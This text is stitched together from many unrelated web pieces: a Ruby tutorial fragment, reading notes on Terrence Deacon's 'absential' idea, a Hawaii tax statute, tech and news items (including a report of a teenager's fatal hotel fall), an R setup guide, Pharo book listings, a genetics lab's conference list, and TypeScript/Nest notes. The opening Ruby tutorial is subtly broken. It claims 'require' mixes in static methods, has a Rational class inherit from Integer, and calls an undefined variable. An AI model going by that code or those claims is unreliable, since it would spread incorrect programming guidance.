nums.each do |num|
sum.num += GCD/num.denom * num.num
end
return sum
end
end
A nice feature on ruby is the ability to include an undetermined number of arguments, *args
in methods
You may be wondering why we made a module for instance methods and a module for static methods instead of making one module containing both. The reason is
that Ruby only allows mixing in of either instance methods or static methods at any one time. We use the require
keyword to mix in static methods
and the include
keyword to mix in instance methods (i for instance!). I don't know if we could just use both keywords on a single module that has both instance
and static methods; that'd be a good experiment. Now we mix in our modules into our Ruby Rational
class:
One interesting thing about Ruby is that instance variables are never private. Anyone can access or overwrite an instance variable if they
know it using object.instance_variable_get(:@var)
. While this is a strength for usability, it seems to me like a pretty major security issue.
class Rational < Integer
include GetNums
require Add
# initializer
def initialize(*ints)
@num, @denom = ints
end
# accessors
attr_accessor :denom
attr_accessor :num
end
Now we can use our Ruby class to do the stuff the methods do:
real = Rational.new(5,6)
puts real.get_num
real2 = Rational.new(7,8)
puts add(real,real1)


absential
From the Glossary
Absential: The paradoxical intrinsic property of existing with
respect to something missing, separate, and possibly nonexistent. Although this
property is irrelevant when it comes to inanimate things, it is a defining property
of life and mind; elsewhere (Deacon 2005) described as a constitutive absence
Constitutive absence: A particular and precise missing something
that is a critical defining attribute of 'ententional' phenomena, such as functions,
thoughts, adaptations, purposes, and subjective experiences.
Absential - p3
- a state of things not yet realized
- a specific separate object of a representation,
- a general type of property that may or may not exist,
- an abstract quality,
- an experience, and so forth-just not that which is actually present.
- something missing, separate, and possibly nonexistent
- irrelevant when it comes to inanimate things, but a defining property of life
and mind
- what is absent matters.
- a purpose not yet actualized,
- a quality of feeling, a functional value just discovered
- not just superimposed probable physical relationships
- each an intrinsically
absent aspect of something present
Absential - p544
- The universe is larger than just that which we can see, and touch, or manipulate
with our hands or our cyclotrons.
- There is more here than stuff.
- There is how this stuff is organized and related to other stuff.
- And there is more than what is actual.
- There is what could be, what should be, what can't be, what is possible, and
what is impossible.
Absential ~ Causality
- a form of causality dependent on specifically absent features and unrealized
potentials can be compatible with our best science - p16
- How can something not there be the cause of anything? Making sense of this - efficacy
of absence - will be the central challenge of this book - p45
Absential ~ Consciousness / self
- Like meanings and purposes, consciousness may not be something there in any
typical sense of being materially or energetically embodied, and yet may still
be materially causally relevant - p7
- an additional issue with consciousness that makes it particularly insistent,
in a way that these other absential relations aren't: that which is explicitly
absent is me - p8
- this approach can help to illuminate to what extent the phenomenon of self is
not a simple physical property of bodies or brains, but rather a critical absential
character, which is ultimately the locus of the reflexive individuation that creates
the distinction from non-self - p467
- The intentional properties that we attribute to conscious experience are generated
by the emergence of these constraints-constraints that emerge from constraints,
absences that arise from, and create, new absences. You are in this quite literal
sense something coming out of nothing, and thus newly embodied at each instant
p535
Absential ~ Constraints
- This concept of constraint can provide a negative approach to realism, though
it might also be paradoxically described as a nominalism of absences, since it
is determined by discrete interaction effects that don't occur - p191
- In each case, there are reduced degrees of freedom that could potentially be
realized in the absence of these constraints - p192
- This requires that we show how what is absent is responsible for the causal
power of organization and the asymmetric dynamics of a physical or living process.
Beginning to explain how this might be possible is the major task of this chapter
- p195
- Constraints are the present signature of what is absent - p484
Absential ~ Ententional
- Currently, we lack a single term in the English language (or others that I know
of) that captures this more generic sense of existing with-respect-to, for-the-sake-of,
or in-order-to-generate something that is absent that also includes function at
one extreme and value at the other. The recognition that there is a common core
property characterizing how each of these involves a necessary linkage with, and
inclination toward, something absent argues for finding a term to refer to it -
p26
- Ententional phenomena include functions that have satisfaction conditions, adaptations
that have environmental correlates, thoughts that have contents, purposes that
have goals, subjective experiences that have a self/other perspective, and values
that have a self that benefits or is harmed. Although functions, adaptations, thoughts,
purposes, subjective experiences, and values each have distinct attributes that
distinguish them, they all also have an orientation to a specific constitutive
absence, a particular and precise missing something that is their critical defining
attribute - p 26
- Ententional processes and relationships can best be classed as expressions of
final causality in Aristotle's terms. Their absential character is determined by
the end toward which they tend, or the represented concept for the sake of which
they were created. But with this erosion of the plurality of causal concepts, a
place for a form of causal influence derived from something absent was no longer
acceptable - p35-42 << much discussion on the absential follows.
- By examining this model system more closely, we will be able to demonstrate
how ententional processes acquire this seemingly paradoxical character of efficacious
absence - p311
Absential ~ Evolution
- Because organisms are constituted by specially organized, persistent, far-from-equilibrium
processes, they are intrinsically incomplete. In this regard, they are processes
organized around absence - p416
- The ability to produce highly diverse and yet precise constraints-absences-thus
makes possible a nearly unlimited capacity for selves to intervene in the goings-on
of the natural world - p480
Absential ~ figure / background
- A counterintuitive figure/background reversal, focusing on what is absent rather
than present, offers a means to repair some of the serious inadequacies in our
conceptions of matter, order, life, work, information, representation, and even
consciousness and conceptions of value - p44
Absential ~ Information
- Information is the archetypical absential concept - p373
- The importance of physical regularity to the analysis of information is that
it is ultimately what enables absence to matter - p376
- As we have repeatedly argued, regularity is the expression of constraint, and
it is with respect to some constraint on variety that something absent or deviant
can stand out. This absence or deviance is ultimately what is conveyed - p377
- Shannon's analysis of information capacity provides another example of the critical
role of absence - p379
- Because of this explicit physical constraint, even the absence of any change
of signal entropy can provide referential information p 387 << Much discussion
on the absential follows
- The informative power of absence is one of the clearest indications that Shannon
information and referential information are not equivalent - p 387
- This combination of absence and necessary relevance to an asymmetric process,
incessantly interacting with and modifying the world, is what projects the property
of information into otherwise merely physical states and events - p417
- These absences embody, in the negative, the constraints imposed on the physical
substrates of signals, thoughts, and communications which can be transferred from
one substrate to another, and which thereby play efficacious roles in the world
as inherited constraints on what tends to occur, rather than acting as pushes or
pulls forcing events in one direction or another - p419
Absential ~ Non-absential
- Many scholars now believe that developing a science capable of accurately characterizing
complex self-organizing phenomena will be sufficient to finally describe organic
and mental relationships in entirely non-absential terms - p5
- absential features must, by definition, be treated as epiphenomenal glosses
that need to be reduced to specific physical substrates or else excluded from the
analysis - p5.
- Simply asserting this necessary unity-that an observing subject must be a physical
system with a self-referential character-avoids the implicit absurdity of denying
absential phenomena, and yet it defines them out of existence. We seem to still
be living in the shadow of Descartes - p6
Absential ~ Purpose
- The most characteristic and developed exemplar of an absential relationship
is purpose - p24
- purpose is more complex than other absential relationships because other forms
of absential relationship are implicit in the concept of purpose - p24
Absential ~ Reduction
- Absence has no components, and so it can't be reduced or eliminated - p204
Absential ~ Teleodynamics
- So, in effect, each is the expression of a form of higher-order absence generated
by relationships between lower-order absences. This doubly negative, doubly absential
character of teleodynamic processes is almost certainly one reason that we find
them so mechanistically counterintuitive - p323
Absential ~ Value
- It's time to recognize that there is room for meaning, purpose, and value in
the fabric of physical explanations, because these phenomena effectively occupy
the absences that differentiate and interrelate the world that is physically present
- p541
- If quantum physicists can learn to become comfortable with the material causal
consequences of the superposition of alternate, as-yet-unrealized states of matter,
it shouldn't be too great a leap to begin to get comfortable with the superposition
of the present and the absent in our functions, meanings, experiences, and values
- p 544
Quotes
There is something not-there there.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 2). Norton. Kindle Edition.
I will refer to this as an absential feature, to denote phenomena whose existence
is determined with respect to an essential absence. This could be a state of things
not yet realized, a specific separate object of a representation, a general type
of property that may or may not exist, an abstract quality, an experience, and
so forth-just not that which is actually present. This paradoxical intrinsic quality
of existing with respect to something missing, separate, and possibly nonexistent
is irrelevant when it comes to inanimate things, but it is a defining property
of life and mind.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 3). Norton. Kindle Edition.
A purpose not yet actualized, a quality of feeling, a functional value just discovered-these
are not just superimposed probable physical relationships. They are each an intrinsically
absent aspect of something present.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 3). Norton. Kindle Edition.
zero, I believe that I can demonstrate how a form of causality dependent on specifically
absent features and unrealized potentials can be compatible with our best science.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 16). Norton. Kindle Edition.
The most characteristic and developed exemplar of an absential relationship is
purpose.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 24). Norton. Kindle Edition.
In an important sense, purpose is more complex than other absential relationships
because we find all other forms of absential relationship implicit in the concept
of purpose. It is most commonly associated with a psychological state of acting
or intending to act so as to potentially bring about the realization of a mentally
represented goal. This not only involves an orientation toward a currently non-existing
state of affairs, it assumes an explicit representation of that end, with respect
to which actions may be organized. Also, the various actions and processes typically
employed to achieve that goal function for the sake of it. Finally, the success
or failure to achieve that goal has value because it is in some way relevant to
the agency for the sake of which it is pursued. And all these features are contributors
to the sentience of simple organisms and the conscious experience of thinking beings
like ourselves.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(pp. 24-25). Norton. Kindle Edition.
Information is the archetypical absential concept.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 373). Norton. Kindle Edition.
Thus autonomy and agency, and their implicit teleology, and even the locus of
subjectivity, can be given a concrete account. Paradoxically, however, by filling
in the physical dynamics of this account, we end up with a non-material conception
of organism and neurological self, and by extension, of subjective self as well:
a self that is embodied by dynamical constraints. But constraints are the present
signature of what is absent. So, surprisingly, this view of self shows it to be
as non-material as Descartes might have imagined, and yet as physical, extended,
and relevant to the causal scheme of things as is the hole at the hub of a wheel.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 484). Norton. Kindle Edition.
The universe is larger than just that which we can see, and touch, or manipulate
with our hands or our cyclotrons. There is more here than stuff. There is how this
stuff is organized and related to other stuff. And there is more than what is actual.
There is what could be, what should be, what can't be, what is possible, and what
is impossible.
Deacon, Terrence W. (2011-11-14). Incomplete Nature: How Mind Emerged from Matter
(p. 544). Norton. Kindle Edition.
My thoughts
missing from inanimate/ inorganic
missing from organic /'selves'
missing from man-made
missing from man
discovered versus invented
absence makes the heart grow fonder
abence makes the mind go ponder


Innovative visual design professional passionate about developing digital products with cutting edge design. Strengths in creativity, teamwork, and building projects from ideation to execution. Digital arts background coupled with strong technical skills and an eye for modern design principles, makes me a valuable addition to any team. Contact me below to get your project rolling!


§231-2 Taxation districts. For the purpose of taxation, the State is divided into the following four districts:
(1) The city and county of Honolulu, to be called the first district;
(2) The counties of Maui and Kalawao, to be called the second district;
(3) The county of Hawaii, to be called the third district; and
(4) The county of Kauai, to be called the fourth district. [L 1932 2d, c 40, §2; RL 1935, §1901; RL 1945, §5102; RL 1955, §115-2; am L 1967, c 37, §1; HRS §231-2; am L 2017, c 12, §31]
Cross References
Districts, generally, see chapter 4.
Case Notes
Cited: 34 H. 515, 530 (1938).


AMD Ryzen 7 2700X 8 Core CPU Available At An Insanely Good Price of $130 US, Get A AAA Game and Xbox Game Pass As Well
by Hassan MujtabaThe AMD Ryzen 7 2700X has seen some incredible deals recently but nothing as insane as the one that's going on at Microcenter where the boxed processor can be bought for just $130 US. Ryzen 7 2700X launched back in 2018 and is the only 8 core and 16 thread chip which you can find under $ 200 US right now.
AMD's 2018 AM4 Flagship, the 8 Core Ryzen 7 2700X Now Available For $130 US at Microcenter
Back when the AMD Ryzen 7 2700X launched, it was the first 8 core and 16 thread chip for the mainstream segment. Intel would have their answer several months later in the form of the i9-9900K. The chip retailed for $329 US and offered some decent specifications with its 12nm FF based Zen+ cores.
Detailed specifications of the Ryzen 7 2700X include 8 core and 16 threads clocked at 3.7 GHz base and 4.35 GHz boost. The chip carries 20 MB of cache and has a rated TDP of 105W. The Boxed CPU comes with the AMD Wraith Prism cooler which offers good thermal capacity to keep it operating cool and stable.
The processor can now be bought for $129.99 US from Microcenter which is $190 US worth of savings. That's an absolute steal which is further sweetened with the added promo which includes one AAA title of your choice (Outer Worlds, Borderlands 3, Gears 5) and an Xbox Game Pass for PC. The only downside is that you would have to be near a micro center store as the deal is only applicable to in-store pickups. If you are one of the lucky ones close to a Microcenter or have a friend that's near one, then grabbing the processor for a mainstream gaming PC build would be fantastic.
Even with the release of the Ryzen 3000 series and the more recent Ryzen 9 3950X, the value that this deal offers is just unbelievable. And knowing just how close the Ryzen 7 2700X comes to an i7 processor in gaming performance is simply amazing. Other than the Ryzen 7 2700X, the Ryzen 5 2600X is also listed for $129.99 US while the Ryzen 5 2600 is listed for $114.99 US.
Products mentioned in this post
The links above are affiliate links. As an Amazon Associate, Wccftech.com may earn from qualifying purchases.


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---
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Atlanta:
Ah yes, Pavel's last study...
I'm starting to remember... Number 45, Arrival of Eternal...
"The Arrival of Eternal Spring?"


Beep, Beep! Toy Dog ‘Drives’ Car Through Thai Market
With a shopping bag and grocery list in tow, one sunglass-wearing dog in Thailand recently melted hearts after appearing at a nearby market all dolled up in a miniature remote-controlled vehicle.
The heartwarming incident unfolded in early November, and was originally shared online by YouTube user Irina Nosova.
Next stop, Hollywood.


Variable Length Subnet Masking is a technique that allows network administrators to divide an IP address space to subnets of different sizes, unlike simple same-size subnetting. Learn more about VLSM
VLSM Subnet Calculator is intend for automate and simplify VLSM calculation process.
How to use: Enter major network address and mask in slash-format, like <IP_ADDRESS>/24
Enter sizes (number of assignable ip addresses) of subnets to divide major network. You can specify subnetwork names instead of default.
You can change number of subnets at any time.
| References: |
If you have a question/suggestion/bug report, please use Feedback form.


Chapter 1 Getting Started
1.1 Understanding R from the Perspective of Excel
This may be useful reading if you have never used R (or similar software for data analysis) before but are familiar with Microsoft Excel.
R for Excel users
Where do things live in R? R for Excel Users
What’s a variable in R?
A Guide to R for Excel Users
1.2 Setting Up RStudio
When you first load RStudio, you should set up some options within it. First go to the Tools menu and then go into the Global Options. In the General tab, you should untick ‘Restore .RData into workspace at startup’ and change ‘Save workspace to .RData on exit’ to ‘Never’. This is illustrated in the Workflow: projects chapter in the R for Data Science book. Doing this helps to ensure that R loads in a fresh session every time which also helps to ensure your work is fully reproducible.
In addition to this, you should make sure R is set up to work with the unicode character set in case you ever need to use them. To do this, go to the Code tab (within Global Options) and then go to the Saving tab within there and make sure the ‘default text encoding’ is ‘UTF-8’.
Some optional settings:
- A lot of programmers like to use a dark theme for coding so if this is your preference, go to the Appearance tab and set the ‘Editor theme’ to something like ‘Twilight’.
- If you are working in the UK, go the Spelling tab, and set the ‘Main dictionary language’ to ‘English (United Kingdom)’.
1.3 Getting Help
To use R effectively, it is more or less essential to learn how to use the help facilities within R. This is because there are just so many functions available (especially when you consider the amount of packages that have been developed to extend the capabilities of R) and it is difficult to always remember exactly how to use them.
Help pages for functions in R can be brought up by typing ?name-of-function
within R, e.g. to get the help for the mean()
function, you can type ?mean
. Equally, help(name-of-function)
also works, e.g. help(mean)
. The help pages in R can be a little daunting at first so it is good to start by understanding the layout of a help page and what everything in it means.
How to read a help page in R
Analysis essentials: Using the help page for a function in R
In addition to the help pages within R, there are also many other ways to get help.
Where to get help with your R question?
You can search online for help in your favourite search engine. Often typing something like ‘joining data in R’ will be good enough to return useful results. There is also a search page focussed on returning R-related results called RSeek if you want to try that.
People are usually good at responding to questions if you post them online in a reproducible manner. Here is a good guide for doing this well using the reprex package in R.
So you’ve been asked to make a reprex
You can post your question to the Data Science Scotland Slack R Channel or to websites such as StackOverflow.


Pharo is a clean, innovative, open-source, live-programming environment. Get immersed in a world of living objects!
Contribute to the SquareBracketsAssociates community free books https://github.com/SquareBracketAssociates/
Pharo with Style (New 2022 Edition) explains the difference between code that runs and code that talks to the reader. New version from 02/2022 and also available on print!
Agile Artificial Intelligence with Pharo Covers artificial intelligence and practical algorithm programming using Pharo Includes three fully working sample applications.
Learning Object-Oriented Programming, Design and TDD with Pharo is a new book on OOP and OOD using TDD and presenting essential aspects of object-oriented programming in Pharo.
The Spec UI framework explains the default framework for building user interfaces in Pharo, called Spec. 2017
Far too many good chapters or material were written and pending to be part of a future book. But producing a good book is a huge task, so we decided to divide the work and produce autonomous and focused booklets. We are expecting to have GLORP, Magritte, Voyage, Reddit and probably much more as booklets. If you have material just contact us. We will migrate the current one to a good format and offer lulu printing.
XPath is a powerful technology. In this tutorial we show how we use it to scrap information from HTML page. Booklet written by S. Ducasse and P. Kenny. You can find the latest version here.
Smacc is a powerful frameworks to parse languages. In this book we show how we use it first with a tutorial. Then we describe the advanced aspects of Smacc. Written by J. Brant, J. Lecerf, T. Goubier S. Ducasse, and A. P. Black. You can find the latest version here.
Commander20 is a simple and powerful command frameworks. In this book we show how we use it first with a tutorial. Then we describe its internal and design decisions.Written by S. Ducasse and Julien Delplanque. You can find the latest version here.
This book explains the concurrency model and some implementation aspects of Pharo here.
UFFI is a powerful framework to invoke foreign functions. In this book we show how we use it first with a tutorial. You can find the latest version here.
Zinc is a powerful and elegant framework to build HTTP client/server applications. You can find the latest version here.
Here is a collection of booklets that are not technology oriented but will teach you fundamental aspects of computation.
"A simple reflective object kernel" explains ObVlisp a simple reflective kernel and it shows how to build step by step this kernel based on two classes: Object and Class. Booklet written by S. Ducasse.
"Call Stack Management" explains how a call stack is represented in virtual machines. Written by C. Bera with S. Ducasse.
Deep into Pharo is the second volume of a series of books covering Pharo. Whereas the first volume is intended for newcomers, this second volume covers deeper topics.
Numerical Methods In Pharo is a book from Didier Besset on numerical methods. It covers many topics related to data science: function interpolation, iteration, zeroes, linear algebra series, statistics, estimation, minimisation, and data mining.
Tiny Blog is a tutorial from Olivier Auverlot, Stéphane Ducasse and Luc Fabresse. It brings you step by step through the building of a little web blog application. This tutorial is part of the Pharo MOOC.
Tiny Blog est un tutoriel écrit par Olivier Auverlot, Stéphane Ducasse et Luc Fabresse. Ce tutoriel vous guide pas à pas dans la réalisation d'une petite application Web. Cette ressource est une partie du MOOC Pharo.
Pharo by Example 50 is a new version of Pharo by Example for Pharo5.0. 2017. The next edition of Pharo By Example is currently being written. You can find the drafts at https://github.com/.../PharoByExample80 (PDF).
Pharo by Example (OLD), intended for both students and developers, will guide you gently through the Pharo language and environment by means of a series of examples and exercises. Pay attention this edition is OLD OLD OLD. The next edition of Pharo By Example is currently being written. You can find the drafts at https://github.com/.../PharoByExample80 (PDF).


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Teen celebrating the end of school plunges to death from high-rise hotel
Charlie Scott, 18, from Australia, died after falling from the Hilton Hotel in Surfers Paradise on Queensland's Gold Coast while celebrating his school graduation with friends
by Neil MurphyTributes have flooded in for a school graduate who plunged to his death from the balcony of a high-rise hotel in Australia.
Charlie Scott, 18, from Montmorency, northeast of Melbourne, is believed to have jumped from the Hilton Hotel in Surfers Paradise on Queensland's Gold Coast.
One horrified witness described how they heard a "loud bang" following the incident during the early hours of November 26, reports the Daily Star .
"I was a street away waiting for a taxi and heard a really loud bang," Johnson Muir said.
"I thought somebody had just thrown something off the balcony but then I heard the screams.
"By the time I walked around the corner police were already on the scene and holding the kids back.
"One girl was bawling her eyes out screaming 'I could've helped him and now he's dead, he's dead'."
It is believed the teen had been celebrating 'Schoolies' with a group of student friends from Parade College when tragedy struck.
Schoolies is a week-long holiday for recent school graduates in Australia and has developed a reputation for rowdy and unruly behaviour in recent times.
Reports say Scott had published a series of concerning post before his death and local police are not believed to be looking for anyone else in connection with the incident.
Forensics teams sealed off the area surrounding the hotel on Orchid Avenue as people pay their respects by leaving flowers at the scene.
Tributes have flooded in on social media for the youngster, who was described as "one of the best blokes you will ever meet".
“RIP Charlie Scott. Kind, hardworking, always smiling. You will be missed brother,” one friend wrote.
Another friend said he was “such a sweet, kind-hearted guy, taken away way too soon, you will be dearly missed”.
“Rest in peace bro you will be missed. Fly high brother,” a third said.
A Hilton spokesperson confirmed the teen had been staying at a room in the hotel.
She added: "It is with deep regret that we confirm a guest at the private residences located at Hilton Surfers Paradise has passed away.
"We offer our sincere condolences to the family and loved ones at this difficult time."


Wheeler Lab Member *Masters Student #Undergraduate
2019
Great Lakes Bioinformatics Conference, Madison, WI, May 19-22, “The genetic architecture of expression and splicing in African ancestry populations” Schubert R, *Okoro P, Luke A, Dugas L, Wheeler HE. Poster.
Great Lakes Bioinformatics Conference, Madison, WI, May 19-22, “Gene Expression Prediction: A Machine Learning Approach” *Okoro P, Schubert R, Luke A, Dugas L, Wheeler HE. Talk.
Great Lakes Bioinformatics Conference, Madison, WI, May 19-22, “Optimizing Gene Predictors in Diverse Populations” #Takamura J, #Geoffroy E, Wheeler HE. Poster.
Great Lakes Bioinformatics Conference, Madison, WI, May 19-22, “Genetically regulated gene expression underlies lipid traits in Hispanic cohorts” *Andaleon A, Mogil LS, Wheeler HE. Talk.
Great Lakes Bioinformatics Conference, Madison, WI, May 19-22, “Imputed gene associations identify replicable trans-acting genes enriched in immune traits” Wheeler, HE. Talk.
2018
American Society of Human Genetics 68th Annual Meeting, San Diego, CA, October 16 - 20, 2018. *Andaleon A, Mogil LS, Wheeler HE. Transcriptome-based association study in Hispanic cohorts implicates novel genes in lipid traits. Platform Presentation.
American Society of Human Genetics 68th Annual Meeting, San Diego, CA, October 16 - 20, 2018. #Fiorica PN, Wheeler HE. Predicting the genetic regulation of schizophrenia in African American populations. Poster.
American Society of Human Genetics 68th Annual Meeting, San Diego, CA, October 16 - 20, 2018. Wheeler HE, #Ploch S, Barberia AN, Im HK. Imputed gene associations identify replicable trans-acting/target gene pairs and suggest a larger trans than cis contribution to complex trait architecture. Poster.
International Genetic Epidemiology Society 27th Annual Meeting, San Diego, CA, October 13 - 16, 2018. Wheeler HE, #Ploch S, Barberia AN, Im HK. Imputed gene associations identify replicable trans-acting and target gene pairs enriched in transcription factor pathways. Platform Presentation.
International Genetic Epidemiology Society 27th Annual Meeting, San Diego, CA, October 13 - 16, 2018. *Andaleon A, Mogil LS, #Badalamenti A, Dickinson SP, Guo X, Rotter JI, Johnson WC, Im HK, Liu Y, Wheeler HE. Genetic architecture of gene expression traits across diverse populations. Poster Highlight Talk.
Intelligent Systems for Molecular Biology Conference, Chicago, IL, July 6-10, Poster: “Gene-based association study for lipid traits in diverse cohorts” #Angela Andaleon, Lauren S. Mogil, Heather E. Wheeler
Intelligent Systems for Molecular Biology Conference, Chicago, IL, July 6-10, Lightning Talk and Poster: “Imputed gene associations identify replicable trans-acting genes enriched in transcription pathways” Heather E. Wheeler, #Sally Ploch, Alvaro Barbeira, Hae Kyung Im
Closing the Genomics Research Gap: An International Symposium on Genomics and Health, Montreal, QC, June 15-17, Poster: “Genetic architecture of gene expression traits across diverse populations” Lauren S. Mogil, #Angela Andaleon, #Alexa Badalamenti, Scott P. Dickinson, Xiuqing Guo, Jerome I. Rotter, W. Craig Johnson, Hae Kyung Im, Yongmei Liu, Heather E. Wheeler
Chicago Area Undergraduate Research Symposium, DePaul University, Chicago, IL, April 15, Poster: “Contrasting and Correlating Prostate Cancer Genetic Susceptibility Loci in Multiple Populations “ #Mohammed Abdul Sami, #Jack Morris, Heather E. Wheeler
Chicago Area Undergraduate Research Symposium, DePaul University, Chicago, IL, April 15, Poster: “Predicting the Genetic Regulation of Schizophrenia in African American Populations” #Peter Fiorica, Heather E. Wheeler
Chicago Area Undergraduate Research Symposium, DePaul University, Chicago, IL, April 15, Poster: “Optimizing Gene Predictors in Diverse Populations” #Jennifer Takamura, Heather E. Wheeler
Chicago Area Undergraduate Research Symposium, DePaul University, Chicago, IL, April 15, Poster: “Gene-based association study for lipid traits in diverse cohorts implicates BACE1 and SIDT2 regulation in triglyceride levels” #Angela Andaleon, Heather E. Wheeler
2017
American Society of Human Genetics Annual Meeting, Orlando, FL, October 17-21, Poster: “Gene expression predictive performance varies across diverse populations” Lauren Mogil, #Alexa Badalamenti, Heather E. Wheeler
Great Lakes Bioinformatics Conference, Chicago, IL, May 15-17, Presentation: “Optimizing predictors of gene expression within and across diverse populations” Lauren Mogil, Heather E. Wheeler
Great Lakes Bioinformatics Conference, Chicago, IL, May 15-17, Poster: “Gene expression predictive performance varies across populations” #Alexa Badalamenti, #Virginia Saulnier, #Natalie Jachym, *Amani Almatrafi, #Jeffrey Ng, #Shyam Shah, Heather E. Wheeler
Great Lakes Bioinformatics Conference, Chicago, IL, May 15-17, Poster: “Transcriptome-based Association Study Comparing Susceptibility to Multiple Cancer Types” #Danny Baghdan, Lauren Mogil, #Carlos Perez-Cervantes, Heather E. Wheeler
Chicago Area Undergraduate Research Symposium, Roosevelt University, Chicago, IL, April 29, Poster: “Genetic Mechanisms Underlying Cholesterol Traits in Diverse Populations” #Angela Andaleon, Heather E. Wheeler
2016
American Society of Human Genetics Annual Meeting, Vancouver, BC, October 18 - 22, Poster: “Predicting gene regulation in diverse global populations” #Alexa Badalamenti, #Natalie Jachym, *Amani Almatrafi, #Virginia Saulnier, #Jeffrey Ng, #Shyam Shah, Heather E. Wheeler
American Society of Human Genetics Annual Meeting, Vancouver, BC, October 18 - 22, Platform Presentation: “Genome-wide association study with replication implicates WFS1 in cisplatin-associated hearing loss and reveals an enrichment of SNPs in Mendelian genes for deafness” Heather E. Wheeler, Eric R. Gamazon, Robert D. Frisina, #Carlos Perez-Cervantes, Omar El Charif, Sophie D. Fossa, Darren R. Feldman, Robert Hamilton, David J. Vaughn, Clair J. Beard, Chunkit Fung, Lawrence H. Einhorn, Christian Kollmannsberger, Jeri Kim, Taisei Mushiroda, Michiaki Kubo, Shirin Ardeshir-Rouhani-Fard, Nancy J. Cox, M. Eileen Dolan, Lois B. Travis, The Platinum Study Group
American Society of Clinical Oncology Annual Meeting, Chicago, IL, June 3 - 7, Poster with Discussion Session: “Genome-wide association study of cisplatin-related hearing loss in testicular cancer survivors to reveal associated variant in Wolfram syndrome 1 (WFS1) gene” Heather E. Wheeler, Robert D. Frisina, Eric R. Gamazon, Omar El Charif, Darren R. Feldman, Robert J. Hamilton, David J. Vaughn, Clair J. Beard, Chunkit Fung, Lawrence H. Einhorn, Sophie D. Fossa, Taisei Mushiroda, Michiaki Kubo, Nancy J. Cox, M. Eileen Dolan, Lois B. Travis for The Platinum Study Group
Great Lakes Bioinformatics and the Canadian Computational Biology Conference, Toronto, ON, May 16 - 19, Poster: “Predicting Gene Regulation in Diverse Global Populations” #Virginia Saulnier, #Alexa Badalamenti, #Jeffrey Ng, #Shyam Shah, Heather E. Wheeler
Great Lakes Bioinformatics and the Canadian Computational Biology Conference, Toronto, ON, May 16 - 19, Presentation: “Survey of the Heritability and Sparsity of Gene Expression Traits Across Human Tissues” Heather E. Wheeler, Kaanan P. Shah, *Jonathon Brenner, GTEx Consortium, Hae Kyung Im
Chicago Area Undergraduate Research Symposium, The Museum of Science and Industry, Chicago, IL, April 9, Poster: “Gene-Based Association Study of Sporadic Postmenopausal Breast Cancer” #Carlos Perez-Cervantes, Heather E. Wheeler
Chicago Area Undergraduate Research Symposium, The Museum of Science and Industry, Chicago, IL, April 9, Poster: “Predicting Gene Regulation in Diverse Global Populations” #Alexa Badalamenti, #Jeffrey Ng, #Virginia Saulnier, #Shyam Shah, Heather E. Wheeler
2015
American Society of Human Genetics Annual Meeting, Baltimore, MD, October 6-10, Reviewers’ Choice (top 10%) Poster: “Genetic architecture of gene expression regulation via orthogonal tissue decomposition” Heather E. Wheeler, Nicholas Knoblauch, GTEx Consortium, Nancy J. Cox, Dan L. Nicolae, Hae Kyung Im


SES Demo Console
Input:
/** * This example shows two compartments executing the same code with * different globals. They are isolated from each other and from * their parent execution context. */ const x = 0; const c1 = new Compartment({ x: 1 }); const c2 = new Compartment({ x: 2 }); const x1 = c1.evaluate('x'); const x2 = c2.evaluate('x'); /** * This line below will output 3 values to demonstrate that * x has a different value in every context: * - 0 in the start compartment * - 1 in compartment #1 * - 2 in compartment #2 */ ({ x, x1, x2 })
Execute
Clear
Output:
Note: you can look in the console to inspect the original output of the evaluation.


val CAMEL_TO_SNAKE: NameConverter
Name converter function that converts names from camelCase to snake_case.


Dem Trolls Jim Jordan: ‘President Trump Is Welcome To Take A Seat Right There’
Congressional impeachment testimonies from career diplomats aren’t exactly ripe for laughs, but there was one moment on Wednesday that drew snickers in the hearing room.
During the public hearing of diplomats Bill Taylor and George Kents, ardent Trump defender Rep. Jim Jordan (R-OH) used his allotted time to rail against Democrats for rejecting Republicans’ request to make the whistleblower whose complaint led to the impeachment probe testify.

The Republican lawmaker went on to baselessly claim that House Intelligence Chair Adam Schiff (D-CA) knows the identity of the whistleblower and that the whistleblower is “biased” against Trump before yielding the floor to Rep. Peter Welch (D-VT).
“I say to my colleague, I’d be glad to have the person who started it all come in and testify,” Welch said.
“President Trump is welcome to take a seat right there,” he continued while gesturing toward where Taylor and Kent were sitting, prompting spectators to burst into laughter.
Watch Jordan and Welch below:


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TypeScript
- What is TypeScript?
- Features of TypeScript
- TypeScript and ECMAScript
- Why use TypeScript?
What is TypeScript?
TypeScript is JavaScript for application-scale development
Features of TypeScript
- JavaScript is TypeScript
- TypeScript supports JS libraries
- TypeScript is portable
TypeScript and ECMAScript
Why use TypeScript?
- Compilation
- Strong Static Typing
- Object Oriented Programming
Transpilers
- Source-To-Source Compilers
- Benefit of using Transpilers
- Babel
- Nest is a framework for building efficient, scalable Node.js server-side applications
- It uses progressive JavaScript, is built with TypeScript
- Combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming)
- Under the hood, Nest makes use of Express, but also provides compatibility with a wide range of other libraries
Controller
Controllers are responsible for handling incoming requests and returning responses to the client.
Providers
Basically, almost everything may be considered as a provider – service, repository, factory, helper...
Modules
Modules provides metadata that Nest makes use of to organize the application structure.
Setting up Nest Project
- Install Node.js(>=8.9.0)
- Install Nest CLI with command "npm i -g @nestjs/cli"
- Create new project using command "nest new project"
Nest-generated structure
- app.controller.ts
- app.controller.spec.ts
- app.service.ts
- app.module.ts
- main.ts
app.controller.ts
app.controller.spec.ts
app.service.ts
app.module.ts
main.ts
Database model for MongoDB
Authentication
Authentication
Authentication


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Welcome to the One and Only restaurant on Mars - Mars Plazza!
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If you are hungry or you just want to get drunk, check out our menu for some suggestions:
Nice video about your dinner:


Enter your email and you will receive a message to your mailbox. Send us your suggestions to the email: pretellgf@gpsoft.org


|
Bullet Collision Detection & Physics Library
|
